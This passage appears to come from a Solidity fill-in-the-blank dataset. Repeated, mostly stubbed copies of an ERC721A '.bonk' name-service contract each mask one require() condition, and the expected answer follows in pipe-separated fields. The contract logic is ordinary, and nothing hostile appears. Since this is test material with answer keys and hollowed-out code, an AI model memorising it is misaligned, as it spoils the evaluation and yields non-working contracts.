* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 quantity) internal {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
}
/**
* @dev Equivalent to `_burn(tokenId, false)`.
*/
function _burn(uint256 tokenId) internal virtual {
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
pragma solidity ^0.8.4;
contract Bonk is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 public cost = 10000000000000000;
uint256 public ref = 0;
uint256 public ref_owner = 0;
uint256 public ref_discount = 0;
uint256 public subdomains_fee = 0;
uint256 private maxCharSize=20;
string private domain='.bonk';
string private BASE_URI = 'https://bonk.id/metadata/';
bool public IS_SALE_ACTIVE = true;
bool public IS_ALLOWLIST_ACTIVE = false;
mapping(string => address) public resolveAddress;
mapping(address => string) public primaryAddress;
mapping(string => mapping(string => string)) public dataAddress;
bytes32 public merkleRoot;
bytes _allowChars = "0123456789-_abcdefghijklmnopqrstuvwxyz";
constructor() ERC721A(".Bonk Name Service", ".bonk") {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setAddress(string calldata bonk_name, address newresolve) external {
}
function setPrimaryAddress(string calldata bonk_name) external {
require(<FILL_ME>)
primaryAddress[msg.sender]=bonk_name;
}
function setDataAddress(string calldata bonk_name,string calldata setArea, string memory newDatas) external {
}
function getDataAddress(string memory bonk_name, string calldata Area) public view returns(string memory) {
}
function setBaseURI(string memory customBaseURI_) external onlyOwner {
}
function setMaxCharSize(uint256 maxCharSize_) external onlyOwner {
}
function setAllowChars(bytes memory allwchr) external onlyOwner {
}
function setPrice(uint256 customPrice) external onlyOwner {
}
function setRefSettings(uint ref_,uint ref_owner_,uint ref_discount_,uint subdomains_fee_) external onlyOwner {
}
function setSaleActive(bool saleIsActive) external onlyOwner {
}
function register(address ref_address, string memory bonk_name)
public
payable
{
}
function namediff(uint256 tokenId , string calldata new_bonk_name) external onlyOwner {
}
function walletOfOwnerName(address _owner)
public
view
returns (string[] memory)
{
}
function lastAddresses(uint256 count)
public
view
returns (string[] memory)
{
}
function _checkName(string memory _name) public view returns(bool){
}
/** PAYOUT **/
function withdraw() public onlyOwner nonReentrant {
}
}
| resolveAddress[bonk_name]==msg.sender,"Error" | 86,070 | resolveAddress[bonk_name]==msg.sender |
"Long name" | // ERC721A Contracts v3.3.0
// Creator: Chiru Labs
pragma solidity ^0.8.4;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721A {
using Address for address;
using Strings for uint256;
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
mapping(uint => string) public tokenIDandAddress;
mapping(string => uint) public tokenAddressandID;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
}
/**
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view override returns (uint256) {
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
}
/**
* @dev Equivalent to `_safeMint(to, quantity, '')`.
*/
function _safeMint(address to, uint256 quantity) internal {
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement
* {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 quantity) internal {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
}
/**
* @dev Equivalent to `_burn(tokenId, false)`.
*/
function _burn(uint256 tokenId) internal virtual {
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
pragma solidity ^0.8.4;
contract Bonk is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 public cost = 10000000000000000;
uint256 public ref = 0;
uint256 public ref_owner = 0;
uint256 public ref_discount = 0;
uint256 public subdomains_fee = 0;
uint256 private maxCharSize=20;
string private domain='.bonk';
string private BASE_URI = 'https://bonk.id/metadata/';
bool public IS_SALE_ACTIVE = true;
bool public IS_ALLOWLIST_ACTIVE = false;
mapping(string => address) public resolveAddress;
mapping(address => string) public primaryAddress;
mapping(string => mapping(string => string)) public dataAddress;
bytes32 public merkleRoot;
bytes _allowChars = "0123456789-_abcdefghijklmnopqrstuvwxyz";
constructor() ERC721A(".Bonk Name Service", ".bonk") {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setAddress(string calldata bonk_name, address newresolve) external {
}
function setPrimaryAddress(string calldata bonk_name) external {
}
function setDataAddress(string calldata bonk_name,string calldata setArea, string memory newDatas) external {
}
function getDataAddress(string memory bonk_name, string calldata Area) public view returns(string memory) {
}
function setBaseURI(string memory customBaseURI_) external onlyOwner {
}
function setMaxCharSize(uint256 maxCharSize_) external onlyOwner {
}
function setAllowChars(bytes memory allwchr) external onlyOwner {
}
function setPrice(uint256 customPrice) external onlyOwner {
}
function setRefSettings(uint ref_,uint ref_owner_,uint ref_discount_,uint subdomains_fee_) external onlyOwner {
}
function setSaleActive(bool saleIsActive) external onlyOwner {
}
function register(address ref_address, string memory bonk_name)
public
payable
{
uint256 price = cost;
bool is_ref=false;
uint256 ref_cost=0;
require(<FILL_ME>)
require(bytes(bonk_name).length>0,"Write a name");
require(_checkName(bonk_name), "Invalid name");
if (ref_address== 0x0000000000000000000000000000000000000000) {
price=cost;
} else {
if (bytes(primaryAddress[ref_address]).length>0){
ref_cost=price*ref_owner/100;
} else {
ref_cost=price*ref/100;
}
price = price*(100-ref_discount)/100;
is_ref=true;
}
require (tokenAddressandID[bonk_name] == 0 , "This is already taken");
require(IS_SALE_ACTIVE, "Sale is not active!");
require(msg.value >= price, "Insufficient funds!");
tokenIDandAddress[_currentIndex]=bonk_name;
tokenAddressandID[bonk_name]=_currentIndex;
resolveAddress[bonk_name]=msg.sender;
if (is_ref) {
payable(ref_address).transfer(ref_cost);
}
_safeMint(msg.sender,1);
}
function namediff(uint256 tokenId , string calldata new_bonk_name) external onlyOwner {
}
function walletOfOwnerName(address _owner)
public
view
returns (string[] memory)
{
}
function lastAddresses(uint256 count)
public
view
returns (string[] memory)
{
}
function _checkName(string memory _name) public view returns(bool){
}
/** PAYOUT **/
function withdraw() public onlyOwner nonReentrant {
}
}
| bytes(bonk_name).length<=maxCharSize,"Long name" | 86,070 | bytes(bonk_name).length<=maxCharSize |
"Write a name" | // ERC721A Contracts v3.3.0
// Creator: Chiru Labs
pragma solidity ^0.8.4;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721A {
using Address for address;
using Strings for uint256;
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
mapping(uint => string) public tokenIDandAddress;
mapping(string => uint) public tokenAddressandID;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
}
/**
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view override returns (uint256) {
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
}
/**
* @dev Equivalent to `_safeMint(to, quantity, '')`.
*/
function _safeMint(address to, uint256 quantity) internal {
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement
* {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 quantity) internal {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
}
/**
* @dev Equivalent to `_burn(tokenId, false)`.
*/
function _burn(uint256 tokenId) internal virtual {
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
pragma solidity ^0.8.4;
contract Bonk is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 public cost = 10000000000000000;
uint256 public ref = 0;
uint256 public ref_owner = 0;
uint256 public ref_discount = 0;
uint256 public subdomains_fee = 0;
uint256 private maxCharSize=20;
string private domain='.bonk';
string private BASE_URI = 'https://bonk.id/metadata/';
bool public IS_SALE_ACTIVE = true;
bool public IS_ALLOWLIST_ACTIVE = false;
mapping(string => address) public resolveAddress;
mapping(address => string) public primaryAddress;
mapping(string => mapping(string => string)) public dataAddress;
bytes32 public merkleRoot;
bytes _allowChars = "0123456789-_abcdefghijklmnopqrstuvwxyz";
constructor() ERC721A(".Bonk Name Service", ".bonk") {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setAddress(string calldata bonk_name, address newresolve) external {
}
function setPrimaryAddress(string calldata bonk_name) external {
}
function setDataAddress(string calldata bonk_name,string calldata setArea, string memory newDatas) external {
}
function getDataAddress(string memory bonk_name, string calldata Area) public view returns(string memory) {
}
function setBaseURI(string memory customBaseURI_) external onlyOwner {
}
function setMaxCharSize(uint256 maxCharSize_) external onlyOwner {
}
function setAllowChars(bytes memory allwchr) external onlyOwner {
}
function setPrice(uint256 customPrice) external onlyOwner {
}
function setRefSettings(uint ref_,uint ref_owner_,uint ref_discount_,uint subdomains_fee_) external onlyOwner {
}
function setSaleActive(bool saleIsActive) external onlyOwner {
}
function register(address ref_address, string memory bonk_name)
public
payable
{
uint256 price = cost;
bool is_ref=false;
uint256 ref_cost=0;
require(bytes(bonk_name).length<=maxCharSize,"Long name");
require(<FILL_ME>)
require(_checkName(bonk_name), "Invalid name");
if (ref_address== 0x0000000000000000000000000000000000000000) {
price=cost;
} else {
if (bytes(primaryAddress[ref_address]).length>0){
ref_cost=price*ref_owner/100;
} else {
ref_cost=price*ref/100;
}
price = price*(100-ref_discount)/100;
is_ref=true;
}
require (tokenAddressandID[bonk_name] == 0 , "This is already taken");
require(IS_SALE_ACTIVE, "Sale is not active!");
require(msg.value >= price, "Insufficient funds!");
tokenIDandAddress[_currentIndex]=bonk_name;
tokenAddressandID[bonk_name]=_currentIndex;
resolveAddress[bonk_name]=msg.sender;
if (is_ref) {
payable(ref_address).transfer(ref_cost);
}
_safeMint(msg.sender,1);
}
function namediff(uint256 tokenId , string calldata new_bonk_name) external onlyOwner {
}
function walletOfOwnerName(address _owner)
public
view
returns (string[] memory)
{
}
function lastAddresses(uint256 count)
public
view
returns (string[] memory)
{
}
function _checkName(string memory _name) public view returns(bool){
}
/** PAYOUT **/
function withdraw() public onlyOwner nonReentrant {
}
}
| bytes(bonk_name).length>0,"Write a name" | 86,070 | bytes(bonk_name).length>0 |
"Invalid name" | // ERC721A Contracts v3.3.0
// Creator: Chiru Labs
pragma solidity ^0.8.4;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721A {
using Address for address;
using Strings for uint256;
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
mapping(uint => string) public tokenIDandAddress;
mapping(string => uint) public tokenAddressandID;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
}
/**
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view override returns (uint256) {
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
}
/**
* @dev Equivalent to `_safeMint(to, quantity, '')`.
*/
function _safeMint(address to, uint256 quantity) internal {
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement
* {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 quantity) internal {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
}
/**
* @dev Equivalent to `_burn(tokenId, false)`.
*/
function _burn(uint256 tokenId) internal virtual {
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
